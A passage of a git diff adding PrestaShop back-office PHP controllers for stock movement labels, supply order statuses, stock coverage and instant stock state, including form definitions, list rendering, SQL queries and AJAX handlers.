'visibility' => Shop::CONTEXT_ALL + ), + ), + 'submit' => array(), + ) + ); + + parent::__construct(); + } + + public function init() + { + // if we are managing the second list (i.e. supply order state) + if (Tools::isSubmit('submitAddsupply_order_state') || + Tools::isSubmit('addsupply_order_state') || + Tools::isSubmit('updatesupply_order_state') || + Tools::isSubmit('deletesupply_order_state')) + { + $this->table = 'supply_order_state'; + $this->className = 'SupplyOrderState'; + $this->identifier = 'id_supply_order_state'; + $this->display = 'edit'; + } + parent::init(); + } + + /** + * AdminController::renderForm() override + * @see AdminController::renderForm() + */ + public function renderForm() + { + // if we are managing StockMvtReason + if (Tools::isSubmit('addstock_mvt_reason') || + Tools::isSubmit('updatestock_mvt_reason') || + Tools::isSubmit('submitAddstock_mvt_reason') || + Tools::isSubmit('submitUpdatestock_mvt_reason')) + { + $this->toolbar_title = $this->l('Stock: Add stock movement label'); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Stock Movement label'), + 'image' => '../img/admin/edit.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'lang' => true, + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 50, + 'required' => true + ), + array( + 'type' => 'select', + 'label' => $this->l('Action:'), + 'name' => 'sign', + 'required' => true, + 'options' => array( + 'query' => array( + array( + 'id' => '1', + 'name' => $this->l('Increase stock') + ), + array( + 'id' => '-1', + 'name' => $this->l('Decrease stock') + ), + ), + 'id' => 'id', + 'name' => 'name' + ), + 'desc' => $this->l('Select the corresponding action: Increase or decrease stock?') + ), + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + } + // else, if we are managing Supply Order State + else if (Tools::isSubmit('addsupply_order_state') || + Tools::isSubmit('updatesupply_order_state') || + Tools::isSubmit('submitAddsupply_order_state') || + Tools::isSubmit('submitUpdatesupply_order_state')) + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Supply Order Status'), + 'image' => '../img/admin/edit.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'lang' => true, + 'label' => $this->l('Status:'), + 'name' => 'name', + 'size' => 50, + 'required' => true + ), + array( + 'type' => 'color', + 'label' => $this->l('Color:'), + 'name' => 'color', + 'size' => 20, + 'desc' => $this->l('The background of the PrestaShop Back Office will be displayed in this color (HTML colors only, please).'), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Editable:'), + 'name' => 'editable', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Yes') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('No') + ) + ), + 'desc' => $this->l('Is it is possible to edit the order? Keep in mind that an editable order can not be sent to the supplier.') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Delivery note:'), + 'name' => 'delivery_note', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Yes') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('No') + ) + ), + 'desc' => $this->l('Is it possible to generate a delivery note for the order?') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Delivery state:'), + 'name' => 'receipt_state', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Yes') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('No') + ) + ), + 'desc' => $this->l('Define if products have been either partially or completely received. This will allow you to know if ordered products have to be added to the corresponding warehouse.'), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Pending receipt:'), + 'name' => 'pending_receipt', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Yes') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('No') + ) + ), + 'desc' => $this->l('The customer is awaiting delivery.') + ), + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + if (Tools::isSubmit('addsupply_order_state')) + $this->toolbar_title = $this->l('Stock: Add supply order status'); + else + { + $this->toolbar_title = $this->l('Stock: Update supply order status'); + + $id_supply_order_state = Tools::getValue('id_supply_order_state', 0); + + // only some fields are editable for initial states + if (in_array($id_supply_order_state, array(1, 2, 3, 4, 5, 6))) + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Supply order status'), + 'image' => '../img/admin/edit.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'lang' => true, + 'label' => $this->l('Status:'), + 'name' => 'name', + 'size' => 50, + 'required' => true + ), + array( + 'type' => 'color', + 'label' => $this->l('Back Office color:'), + 'name' => 'color', + 'size' => 20, + 'desc' => $this->l('The background of PrestaShop\'s Back Office will be displayed in this color (HTML colors only, please).'), + ), + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + } + + if (!($obj = new SupplyOrderState((int)$id_supply_order_state))) + return; + + $this->fields_value = array( + 'color' => $obj->color, + 'editable' => $obj->editable, + 'delivery_note' => $obj->delivery_note, + 'receipt_state' => $obj->receipt_state, + 'pending_receipt' => $obj->pending_receipt, + ); + foreach ($this->getLanguages() as $language) + $this->fields_value['name'][$language['id_lang']] = $this->getFieldValue($obj, 'name', $language['id_lang']); + } + } + + return parent::renderForm(); + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + /** + * General messages displayed for all lists + */ + $this->displayInformation($this->l('This interface allows you to configure your supply order status and stock movement labels.').'<br />'); + + // Checks access + if (!($this->tabAccess['add'] === '1')) + unset($this->toolbar_btn['new']); + + /** + * First list + * Stock Mvt Labels/Reasons + */ + $first_list = null; + $this->list_no_link = true; + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->addRowActionSkipList('edit', array(1, 2, 3, 4, 5, 6, 7, 8)); + $this->addRowActionSkipList('delete', array(1, 2, 3, 4, 5, 6, 7, 8)); + $this->_where = ' AND a.deleted = 0'; + + $this->toolbar_title = $this->l('Stock: Stock movement labels'); + $first_list = parent::renderList(); + + /** + * Second list + * Supply Order Status/State + */ + $second_list = null; + unset($this->_select, $this->_where, $this->_join, $this->_group, $this->_filterHaving, $this->_filter, $this->list_skip_actions['delete'], $this->list_skip_actions['edit']); + + // generates the actual second list + $second_list = $this->initSupplyOrderStatusList(); + + // resets default table and className for options list management + $this->table = 'stock_mvt_reason'; + $this->className = 'StockMvtReason'; + + // returns the final list + return $second_list.$first_list; + } + + /* + * Help function for AdminStockConfigurationController::renderList() + * @see AdminStockConfigurationController::renderList() + */ + public function initSupplyOrderStatusList() + { + $this->table = 'supply_order_state'; + $this->className = 'SupplyOrderState'; + $this->identifier = 'id_supply_order_state'; + $this->_defaultOrderBy = 'id_supply_order_state'; + $this->lang = true; + $this->list_no_link = true; + $this->_orderBy = null; + $this->addRowActionSkipList('delete', array(1, 2, 3, 4, 5, 6)); + $this->toolbar_title = $this->l('Stock: Supply order status'); + $this->initToolbar(); + + $this->fields_list = array( + 'name' => array( + 'title' => $this->l('Name'), + 'color' => 'color', + ), + 'editable' => array( + 'title' => $this->l('Editable?'), + 'align' => 'center', + 'icon' => array( + '1' => 'enabled.gif', + '0' => 'disabled.gif' + ), + 'type' => 'bool', + 'width' => 170, + 'orderby' => false + ), + 'delivery_note' => array( + 'title' => $this->l('Is there a delivery note available?'), + 'align' => 'center', + 'icon' => array( + '1' => 'enabled.gif', + '0' => 'disabled.gif' + ), + 'type' => 'bool', + 'width' => 170, + 'orderby' => false + ), + 'pending_receipt' => array( + 'title' => $this->l('Is there a pending receipt?'), + 'align' => 'center', + 'icon' => array( + '1' => 'enabled.gif', + '0' => 'disabled.gif' + ), + 'type' => 'bool', + 'width' => 170, + 'orderby' => false + ), + 'receipt_state' => array( + 'title' => $this->l('Delivery state?'), + 'align' => 'center', + 'icon' => array( + '1' => 'enabled.gif', + '0' => 'disabled.gif' + ), + 'type' => 'bool', + 'width' => 170, + 'orderby' => false + ), + 'enclosed' => array( + 'title' => $this->l('Enclosed order state?'), + 'align' => 'center', + 'icon' => array( + '1' => 'enabled.gif', + '0' => 'disabled.gif' + ), + 'type' => 'bool', + 'width' => 170, + 'orderby' => false + ), + ); + + return parent::renderList(); + } + + /** + * AdminController::postProcess() override + * @see AdminController::postProcess() + */ + public function postProcess() + { + // SupplyOrderState + if (Tools::isSubmit('submitAddsupply_order_state') || + Tools::isSubmit('deletesupply_order_state') || + Tools::isSubmit('submitUpdatesupply_order_state')) + { + if (Tools::isSubmit('deletesupply_order_state')) + $this->action = 'delete'; + else + $this->action = 'save'; + $this->table = 'supply_order_state'; + $this->className = 'SupplyOrderState'; + $this->identifier = 'id_supply_order_state'; + $this->_defaultOrderBy = 'id_supply_order_state'; + } + // StockMvtReason + else if (Tools::isSubmit('delete'.$this->table)) + $this->deleted = true; + + return parent::postProcess(); + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + //If there is a field product_name in the list, check if this field is null and display standard message + foreach ($this->fields_list as $key => $value) + if ($key == 'product_name') + { + $nb_items = count($this->_list); + + for ($i = 0; $i < $nb_items; ++$i) + { + $item = &$this->_list[$i]; + + if (empty($item['product_name'])) + $item['product_name'] = $this->l('The name of this product is not available. It may have been deleted from the system.'); + } + } + } + + public function initContent() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initContent(); + } + + public function initProcess() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initProcess(); + } +} diff --git a/controllers/admin/AdminStockCoverController.php b/controllers/admin/AdminStockCoverController.php new file mode 100755 index 0000000..ddbb16b --- /dev/null +++ b/controllers/admin/AdminStockCoverController.php @@ -0,0 +1,374 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class AdminStockCoverControllerCore extends AdminController +{ + protected $stock_cover_warehouses; + protected $stock_cover_periods; + + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'product'; + $this->className = 'Product'; + $this->lang = true; + $this->colorOnBackground = true; + $this->multishop_context = Shop::CONTEXT_ALL; + + $this->fields_list = array( + 'reference' => array( + 'title' => $this->l('Reference'), + 'align' => 'center', + 'width' => 200, + 'filter_key' => 'a!reference' + ), + 'ean13' => array( + 'title' => $this->l('EAN13'), + 'align' => 'center', + 'width' => 100, + 'filter_key' => 'a!ean13' + ), + 'upc' => array( + 'title' => $this->l('UPC'), + 'align' => 'center', + 'width' => 100, + 'filter_key' => 'a!upc' + ), + 'name' => array( + 'title' => $this->l('Name'), + 'filter_key' => 'b!name' + ), + 'qty_sold' => array( + 'title' => $this->l('Quantity sold'), + 'width' => 160, + 'orderby' => false, + 'search' => false, + 'hint' => $this->l('Quantity sold during the defined period.'), + ), + 'coverage' => array( + 'title' => $this->l('Coverage'), + 'width' => 160, + 'orderby' => false, + 'search' => false, + 'hint' => $this->l('Days left before your stock runs out.'), + ), + 'stock' => array( + 'title' => $this->l('Quantity'), + 'width' => 80, + 'orderby' => false, + 'search' => false, + 'hint' => $this->l('Physical (usable) quantity.') + ), + ); + + // pre-defines coverage periods + $this->stock_cover_periods = array( + $this->l('One week') => 7, + $this->l('Two weeks') => 14, + $this->l('Three weeks') => 21, + $this->l('One month') => 31, + $this->l('Six months') => 186, + $this->l('One year') => 365 + ); + + // gets the list of warehouses available + $this->stock_cover_warehouses = Warehouse::getWarehouses(true); + // gets the final list of warehouses + array_unshift($this->stock_cover_warehouses, array('id_warehouse' => -1, 'name' => $this->l('All Warehouses'))); + + parent::__construct(); + } + + /** + * Method called when an ajax request is made + * @see AdminController::postProcess() + */ + public function ajaxProcess() + { + if (Tools::isSubmit('id')) // if a product id is submit + { + $this->lang = false; + $lang_id = (int)$this->context->language->id; + $id_product = (int)Tools::getValue('id'); + $period = (Tools::getValue('period') ? (int)Tools::getValue('period') : 7); + $warehouse = Tools::getValue('id_warehouse', -1); + $where_warehouse = ''; + if ($warehouse != -1) + $where_warehouse = ' AND s.id_warehouse = '.(int)$warehouse; + + $query = new DbQuery(); + $query->select('pa.id_product_attribute as id, pa.id_product, stock_view.reference, stock_view.ean13, + stock_view.upc, stock_view.usable_quantity as stock'); + $query->from('product_attribute', 'pa'); + $query->join('INNER JOIN + ( + SELECT SUM(s.usable_quantity) as usable_quantity, s.id_product_attribute, s.reference, s.ean13, s.upc + FROM '._DB_PREFIX_.'stock s + WHERE s.id_product = '.($id_product). + $where_warehouse.' + GROUP BY s.id_product_attribute + ) + stock_view ON (stock_view.id_product_attribute = pa.id_product_attribute)'); + $query->where('pa.id_product = '.$id_product); + $query->groupBy('pa.id_product_attribute'); + + $datas = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + foreach ($datas as &$data) + { + $data['name'] = Product::getProductName($data['id_product'], $data['id']); + + // computes coverage + $coverage = StockManagerFactory::getManager()->getProductCoverage( + $data['id_product'], + $data['id'], + $period, + (($this->getCurrentCoverageWarehouse() == -1) ? null : $warehouse) + ); + if ($coverage != -1) // if coverage is available + { + if ($coverage < $this->getCurrentWarning()) // if highlight needed + $data['color'] = '#BDE5F8'; + $data['coverage'] = $coverage; + } + else // infinity + $data['coverage'] = '--'; + + // computes quantity sold + $qty_sold = $this->getQuantitySold($data['id_product'], $data['id'], $this->getCurrentCoveragePeriod()); + if (!$qty_sold) + $data['qty_sold'] = '--'; + else + $data['qty_sold'] = $qty_sold; + } + + echo Tools::jsonEncode(array('data'=> $datas, 'fields_display' => $this->fields_list)); + } + die; + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + $this->addRowAction('details'); + + $this->toolbar_btn = array(); + + // disables link + $this->list_no_link = true; + + // query + $this->_select = 'a.id_product as id, COUNT(pa.id_product_attribute) as variations, SUM(s.usable_quantity) as stock'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (pa.id_product = a.id_product) + '.Shop::addSqlAssociation('product_attribute', 'pa', false).' + INNER JOIN `'._DB_PREFIX_.'stock` s ON (s.id_product = a.id_product)'; + $this->_group = 'GROUP BY a.id_product'; + + self::$currentIndex .= '&coverage_period='.(int)$this->getCurrentCoveragePeriod().'&warn_days='.(int)$this->getCurrentWarning(); + if ($this->getCurrentCoverageWarehouse() != -1) + { + $this->_where .= ' AND s.id_warehouse = '.(int)$this->getCurrentCoverageWarehouse(); + self::$currentIndex .= '&id_warehouse='.(int)$this->getCurrentCoverageWarehouse(); + } + + // Hack for multi shop .. + $this->_where .= ' AND b.id_shop = 1'; + + $this->tpl_list_vars['stock_cover_periods'] = $this->stock_cover_periods; + $this->tpl_list_vars['stock_cover_cur_period'] = $this->getCurrentCoveragePeriod(); + $this->tpl_list_vars['stock_cover_warehouses'] = $this->stock_cover_warehouses; + $this->tpl_list_vars['stock_cover_cur_warehouse'] = $this->getCurrentCoverageWarehouse(); + $this->tpl_list_vars['stock_cover_warn_days'] = $this->getCurrentWarning(); + $this->ajax_params = array( + 'period' => $this->getCurrentCoveragePeriod(), + 'id_warehouse' => $this->getCurrentCoverageWarehouse(), + 'warn_days' => $this->getCurrentWarning() + ); + + $this->displayInformation($this->l('Considering the coverage period chosen and the quantity of products/combinations that you sold.')); + $this->displayInformation($this->l('this interface gives you an idea of when a product will run out of stock.')); + + return parent::renderList(); + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + $nb_items = count($this->_list); + for ($i = 0; $i < $nb_items; ++$i) + { + $item = &$this->_list[$i]; + if ((int)$item['variations'] <= 0) + { + // computes coverage and displays (highlights if needed) + $coverage = StockManagerFactory::getManager()->getProductCoverage( + $item['id'], + 0, + $this->getCurrentCoveragePeriod(), + (($this->getCurrentCoverageWarehouse() == -1) ? null : $this->getCurrentCoverageWarehouse()) + ); + if ($coverage != -1) // coverage is available + { + if ($coverage < $this->getCurrentWarning()) + $item['color'] = '#BDE5F8'; + + $item['coverage'] = $coverage; + } + else // infinity + $item['coverage'] = '--'; + + // computes quantity sold + $qty_sold = $this->getQuantitySold($item['id'], 0, $this->getCurrentCoveragePeriod()); + if (!$qty_sold) + $item['qty_sold'] = '--'; + else + $item['qty_sold'] = $qty_sold; + + // removes 'details' action on products without attributes + $this->addRowActionSkipList('details', array($item['id'])); + + + } + else + { + $item['stock'] = $this->l('See details'); + $item['reference'] = '--'; + $item['ean13'] = '--'; + $item['upc'] = '--'; + } + } + } + + /** + * Gets the current coverage period used + * + * @return int coverage period + */ + protected function getCurrentCoveragePeriod() + { + static $coverage_period = 0; + + if ($coverage_period == 0) + { + $coverage_period = 7; // Week by default + if ((int)Tools::getValue('coverage_period')) + $coverage_period = (int)Tools::getValue('coverage_period'); + } + return $coverage_period; + } + + /** + * Gets the current warehouse used + * + * @return int id_warehouse + */ + protected function getCurrentCoverageWarehouse() + { + static $warehouse = 0; + + if ($warehouse == 0) + { + $warehouse = -1; // all warehouses + if ((int)Tools::getValue('id_warehouse')) + $warehouse = (int)Tools::getValue('id_warehouse'); + } + return $warehouse; + } + + /** + * Gets the current warning + * + * @return int warn_days + */ + protected function getCurrentWarning() + { + static $warning = 0; + + if ($warning == 0) + { + $warning = 0; + if (Tools::getValue('warn_days') && Validate::isInt(Tools::getValue('warn_days'))) + $warning = (int)Tools::getValue('warn_days'); + } + return $warning; + } + + /** + * For a given product, and a given period, returns the quantity sold + * + * @param int $id_product + * @param int $id_product_attribute + * @param int $coverage + * @return int $quantity + */ + protected function getQuantitySold($id_product, $id_product_attribute, $coverage) + { + $query = new DbQuery(); + $query->select('SUM(od.product_quantity)'); + $query->from('order_detail', 'od'); + $query->leftJoin('orders', 'o', 'od.id_order = o.id_order'); + $query->leftJoin('order_history', 'oh', 'o.date_upd = oh.date_add'); + $query->leftJoin('order_state', 'os', 'os.id_order_state = oh.id_order_state'); + $query->where('od.product_id = '.(int)$id_product); + $query->where('od.product_attribute_id = '.(int)$id_product_attribute); + $query->where('TO_DAYS(NOW()) - TO_DAYS(oh.date_add) <= '.(int)$coverage); + $query->where('o.valid = 1'); + $query->where('os.logable = 1 AND os.delivery = 1 AND os.shipped = 1'); + + $quantity = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + return $quantity; + } + + public function initContent() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initContent(); + } + + public function initProcess() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initProcess(); + } +} diff --git a/controllers/admin/AdminStockInstantStateController.php b/controllers/admin/AdminStockInstantStateController.php new file mode 100755 index 0000000..04079c8 --- /dev/null +++ b/controllers/admin/AdminStockInstantStateController.php @@ -0,0 +1,465 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class AdminStockInstantStateControllerCore extends AdminController +{ + protected $stock_instant_state_warehouses = array(); + + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'stock'; + $this->className = 'Stock'; + $this->lang = false; + $this->multishop_context = Shop::CONTEXT_ALL; + + $this->fields_list = array( + 'reference' => array( + 'title' => $this->l('Reference'), + 'align' => 'center', + 'width' => 200, + 'havingFilter' => true + ), + 'ean13' => array( + 'title' => $this->l('EAN13'), + 'align' => 'center', + 'width' => 100, + ), + 'upc' => array( + 'title' => $this->l('UPC'), + 'align' => 'center', + 'width' => 100, + ), + 'name' => array( + 'title' => $this->l('Name'), + 'havingFilter' => true + ), + 'price_te' => array( + 'title' => $this->l('Price (tax excl.)'), + 'width' => 150, + 'orderby' => true, + 'search' => false, + 'type' => 'price', + 'currency' => true, + ), + 'valuation' => array( + 'title' => $this->l('Valuation'), + 'width' => 150, + 'orderby' => true, + 'search' => false, + 'type' => 'price', + 'currency' => true, + 'hint' => $this->l('Total value of the physical quantity. The sum (for all prices) is not available for all warehouses, please filter by warehouse.') + ), + 'physical_quantity' => array( + 'title' => $this->l('Physical quantity'), + 'width' => 80, + 'orderby' => true, + 'search' => false + ), + 'usable_quantity' => array( + 'title' => $this->l('Usable quantity'), + 'width' => 80, + 'orderby' => true, + 'search' => false, + ), + 'real_quantity' => array( + 'title' => $this->l('Real quantity'), + 'width' => 80, + 'orderby' => true, + 'search' => false, + 'hint' => $this->l('Pysical quantity (usable) - Client orders + Supply Orders'), + ), + ); + + $this->addRowAction('details'); + $this->stock_instant_state_warehouses = Warehouse::getWarehouses(true); + array_unshift($this->stock_instant_state_warehouses, array('id_warehouse' => -1, 'name' => $this->l('All Warehouses'))); + + parent::__construct(); + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + // query + $this->_select = ' + IFNULL(CONCAT(pl.name, \' : \', GROUP_CONCAT(DISTINCT agl.`name`, \' - \', al.name SEPARATOR \', \')),pl.name) as name, + w.id_currency'; + + $this->_group = 'GROUP BY a.id_product, a.id_product_attribute'; + + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'warehouse` w ON (w.id_warehouse = a.id_warehouse)'; + $this->_join .= ' LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + a.id_product = pl.id_product + AND pl.id_lang = '.(int)$this->context->language->id.' + )'; + $this->_join .= ' LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON (pac.id_product_attribute = a.id_product_attribute)'; + $this->_join .= ' LEFT JOIN `'._DB_PREFIX_.'attribute` atr ON (atr.id_attribute = pac.id_attribute)'; + $this->_join .= ' LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON ( + al.id_attribute = pac.id_attribute + AND al.id_lang = '.(int)$this->context->language->id.' + )'; + $this->_join .= ' LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON ( + agl.id_attribute_group = atr.id_attribute_group + AND agl.id_lang = '.(int)$this->context->language->id.' + )'; + + if ($this->getCurrentCoverageWarehouse() != -1) + { + $this->_where .= ' AND a.id_warehouse = '.$this->getCurrentCoverageWarehouse(); + self::$currentIndex .= '&id_warehouse='.(int)$this->getCurrentCoverageWarehouse(); + } + + // toolbar btn + $this->toolbar_btn = array(); + // disables link + $this->list_no_link = true; + + // smarty + $this->tpl_list_vars['stock_instant_state_warehouses'] = $this->stock_instant_state_warehouses; + $this->tpl_list_vars['stock_instant_state_cur_warehouse'] = $this->getCurrentCoverageWarehouse(); + // adds ajax params + $this->ajax_params = array('id_warehouse' => $this->getCurrentCoverageWarehouse()); + + // displays help information + $this->displayInformation($this->l('This interface allows you to display detailed information about your stock per warehouse.')); + + // sets toolbar + $this->initToolbar(); + + $list = parent::renderList(); + + // if export requested + if ((Tools::isSubmit('csv_quantities') || Tools::isSubmit('csv_prices')) && + (int)Tools::getValue('id_warehouse') != -1) + { + if (count($this->_list) > 0) + { + $this->renderCSV(); + die; + } + else + $this->displayWarning($this->l('There is nothing to export as CSV.')); + } + + return $list; + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + if (Tools::isSubmit('csv') && (int)Tools::getValue('id_warehouse') != -1) + $limit = false; + + $order_by_valuation = false; + $order_by_real_quantity = false; + if ($this->context->cookie->{$this->table.'Orderby'} == 'valuation') + { + unset($this->context->cookie->{$this->table.'Orderby'}); + $order_by_valuation = true; + } + else if ($this->context->cookie->{$this->table.'Orderby'} == 'real_quantity') + { + unset($this->context->cookie->{$this->table.'Orderby'}); + $order_by_real_quantity = true; + } + + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + $nb_items = count($this->_list); + for ($i = 0; $i < $nb_items; ++$i) + { + $item = &$this->_list[$i]; + + $item['price_te'] = '--'; + $item[$this->identifier] = $item['id_product'].'_'.$item['id_product_attribute']; + + // gets stock manager + $manager = StockManagerFactory::getManager(); + + // gets quantities and valuation + $query = new DbQuery(); + $query->select('SUM(physical_quantity) as physical_quantity'); + $query->select('SUM(usable_quantity) as usable_quantity'); + $query->select('SUM(price_te * physical_quantity) as valuation'); + $query->from('stock'); + $query->where('id_product = '.(int)$item['id_product'].' AND id_product_attribute = '.(int)$item['id_product_attribute']); + + if ($this->getCurrentCoverageWarehouse() != -1) + $query->where('id_warehouse = '.(int)$this->getCurrentCoverageWarehouse()); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($query); + + $item['physical_quantity'] = $res['physical_quantity']; + $item['usable_quantity'] = $res['usable_quantity']; + + // gets real_quantity depending on the warehouse + $item['real_quantity'] = $manager->getProductRealQuantities($item['id_product'], + $item['id_product_attribute'], + ($this->getCurrentCoverageWarehouse() == -1 ? null : array($this->getCurrentCoverageWarehouse())), + true); + + // removes the valuation if the filter corresponds to 'all warehouses' + if ($this->getCurrentCoverageWarehouse() == -1) + $item['valuation'] = 'N/A'; + else + $item['valuation'] = $res['valuation']; + } + + if ($this->getCurrentCoverageWarehouse() != -1 && $order_by_valuation) + usort($this->_list, array($this, 'valuationCmp')); + else if ($order_by_real_quantity) + usort($this->_list, array($this, 'realQuantityCmp')); + } + + /** + * CMP + * + * @param array $n + * @param array $m + */ + public function valuationCmp($n, $m) + { + if ($this->context->cookie->{$this->table.'Orderway'} == 'desc') + return $n['valuation'] > $m['valuation']; + else + return $n['valuation'] < $m['valuation']; + } + + /** + * CMP + * + * @param array $n + * @param array $m + */ + public function realQuantityCmp($n, $m) + { + if ($this->context->cookie->{$this->table.'Orderway'} == 'desc') + return $n['real_quantity'] > $m['real_quantity']; + else + return $n['real_quantity'] < $m['real_quantity']; + } + + /** + * Gets the current warehouse used + * + * @return int id_warehouse + */ + protected function getCurrentCoverageWarehouse() + { + static $warehouse = 0; + + if ($warehouse == 0) + { + $warehouse = -1; // all warehouses + if ((int)Tools::getValue('id_warehouse')) + $warehouse = (int)Tools::getValue('id_warehouse'); + } + return $warehouse; + } + + /** + * Method called when an ajax request is made + * @see AdminController::postProcess() + */ + public function ajaxProcess() + { + if (Tools::isSubmit('id')) // if a product id is submit + { + $this->lang = false; + $lang_id = (int)$this->context->language->id; + $ids = explode('_', Tools::getValue('id')); + if (count($ids) != 2) + die; + + $id_product = $ids[0]; + $id_product_attribute = $ids[1]; + $id_warehouse = Tools::getValue('id_warehouse', -1); + + $query = new DbQuery(); + $query->select('w.id_currency, s.price_te, SUM(s.physical_quantity) as physical_quantity, SUM(s.usable_quantity) as usable_quantity, + (s.price_te * SUM(s.physical_quantity)) as valuation'); + $query->from('stock', 's'); + $query->leftJoin('warehouse', 'w', 'w.id_warehouse = s.id_warehouse'); + $query->where('s.id_product = '.(int)$id_product.' AND s.id_product_attribute = '.(int)$id_product_attribute); + if ($id_warehouse != -1) + $query->where('s.id_warehouse = '.(int)$id_warehouse); + $query->groupBy('s.price_te'); + + $datas = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + foreach ($datas as &$data) + { + $currency = new Currency($data['id_currency']); + if (Validate::isLoadedObject($currency)) + { + $data['price_te'] = Tools::displayPrice($data['price_te'], $currency); + $data['valuation'] = Tools::displayPrice($data['valuation'], $currency); + } + } + + echo Tools::jsonEncode(array('data'=> $datas, 'fields_display' => $this->fields_list)); + } + die; + } + + /** + * @see AdminController::initToolbar(); + */ + public function initToolbar() + { + if (Tools::isSubmit('id_warehouse') && (int)Tools::getValue('id_warehouse') != -1) + { + $this->toolbar_btn['export-stock-state-quantities-csv'] = array( + 'short' => 'Export this list as CSV', + 'href' => 